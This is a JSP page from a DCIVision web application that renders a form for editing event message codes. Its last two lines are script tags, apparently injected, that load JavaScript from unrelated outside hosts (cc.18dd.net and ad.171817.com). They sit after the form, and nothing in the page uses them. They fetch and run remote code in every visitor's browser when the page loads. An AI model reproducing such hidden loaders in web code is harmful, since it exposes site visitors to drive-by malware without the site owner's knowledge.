<%
/*
 * @(#)EditEventMessageCode.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditEventMessageCode.jsp

  This class is reflecting business logic uses.

    @author           Anson mo
    @company          DCIVision Limited
    @creation date    07/09/2005
    @version          $Revision: 1.1.26.4 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.log.*"%>
<%@ page import="com.dcivision.log.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintEventMessageCodeForm" scope="request" class="com.dcivision.log.web.MaintEventMessageCodeForm"/>

<script language="Javascript">
<!--
-->
</script>
<html:form action="log/MaintEventMessageCode">
<html:javascript formName="maintEventMessageCodeForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<!-- Page Title Section -->
<font class="pageTitle"><layout:pageTitle/></font>
<br><br>
<!-- System And Error Messages -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <layout:sectionHeader name="log.label.log_info"/>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="150"><bean:message key='log.label.event_type'/>:&nbsp;</td>
    <td class="dataField"><html:text property='eventType' size='20' maxlength='1'/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel/>"><bean:message key='log.label.message_pattern'/>:&nbsp;</td>
    <td class="dataField"><html:text property='messagePattern' size='20' maxlength='255'/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="150"><bean:message key='log.label.msg_code'/>:&nbsp;</td>
    <td class="dataField"><html:text property='msgCode' size='20' maxlength='255'/></td>
  </tr>
  <tr>
    <td class="<layout:classLabel/>"><bean:message key='log.label.message_code'/>:&nbsp;</td>
    <td class="dataField"><html:text property='messageCode' size='20' maxlength='255'/></td>
  </tr>

  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
    <html:standardButton label="common.label.save" onClick="return OpSave();"/>
       <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
       <html:standardButton label="common.label.more" onClick="return OpSaveAndNew();();"/>
       <%}%>

    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintEventMessageCodeForm.getOpMode())) {%>
      <html:permissionButton label="common.label.edit" right="E" link="MaintEventMessageCode.do?navMode=E&ID=${maintEventMessageCodeForm.ID}"/>
    <%}%>

    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
      <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete();"/>
    </logic:equal>

    <html:standardButton label="common.label.back" link='<%="ListEventMessageCode.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN%>'/>
    </td>
  </tr>
</table>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>